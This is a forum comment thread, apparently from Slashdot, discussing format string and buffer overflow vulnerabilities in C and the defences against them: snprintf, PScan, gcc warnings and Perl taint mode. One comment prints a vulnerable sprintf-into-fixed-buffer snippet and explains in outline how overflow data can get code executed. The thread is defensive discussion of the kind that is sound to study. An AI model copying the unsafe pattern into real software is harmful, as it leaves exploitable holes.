Script Kiddies have known this for years (Score:4)
-Spazimodo
Fsck the millennium, we want it now.
Re:Not new (Score:2)
char string[1000];
sprintf(string, "%s", argv[1]);
If the value of argv[1] is longer than 999 characters (999 + the trailing null at the end of all C strings), the string will overflow and cause the program to crash with a segementation violation error.
If you put data representing machine language instructions at the end of the string, you will get a stack overflow, and the next characters will start overwriting the stack. This can result in having the code executed by the computer, which can do nasty things like emailing the contents of your
The solution is use snprintf:
snprintf(string, 1000, "%s", argv[1]);
That will copy no more than 1000 characters into the new string (counting the null).
D
----
haiku (Score:2)
but script kiddies do rejoice
more cracked boxes
Further information on this topic may be found here [slashdot.org].
This is a really old trick (Score:3)
The ANSI.SYS driver allowed the F-keys to be reprogrammed via ESC sequences. The common technique was to reprogram F1 or F3 (used in the simplisitc command history function) to do something nasty.
This sounds like the same basic thing.
Just be carefull when you *printf() (Score:3)
Problems with *printf() only occur when the programmer is not careful. Anyone who worries about his code can use stuff like PScan [freshmeat.net] to automatically find any format mismatch. Even gcc itself is smart enough to warn about these kind of errors.
Re:Taint mode solves this problem (Score:2)
By the way, just pass -T to the Perl interpreter(e.g. "perl -T blah.pl") to enable tainting checks, or add -T to the header (e.g. "#!/usr/bin/perl -T"). Also, check out "perldoc perlsec" for a much more detailed explanation of everything Perl does to address the issues described in the article, including taint checks.
Re:Taint mode solves this problem (Score:2)
I haven't tested to see if locale strings cause any problems with Perl. Since the Perl interpreter is just a fancy C program, it's possible it has the same vulnerabilities.
Re:But what do you do? (Score:2)
Please don't pass yourself off as an expert offering advice on how to fix the problem unless you really are!
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com
Re:WTF (Score:2)
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com
Re:Not new, but more of a problem (Score:2)
Right, but even if you get an application to read your own catalog, it's still running as your userid. So it can only do as much damage as you could do normally.
Sure, you can change root-level programs to read from arbitrary files, but if you can change root-owned files then you can do anything you want in the system without having to make programs that do wierd things with buffer overflows and such.
Re:Hmmm... (Score:2)
If you follow Bugtraq closely you would have to have skipped a lot of the messages that have appeared there in the last two months to have not seen at least 75 messages discussing format string vulnerabilities in some form. The little letters in the messages are there to read.
Maru
Re:Intersteing quote (Score:3)
Why aren't OpenBSD and FreeBSD affected? The article didn't.
Someone earlier mentioned that the BSD ftp server was vunerable to this (when anonymous was enabled). Wouldn't this mean they would be affected? or is it only when the ftp server runs under one of the affected os's?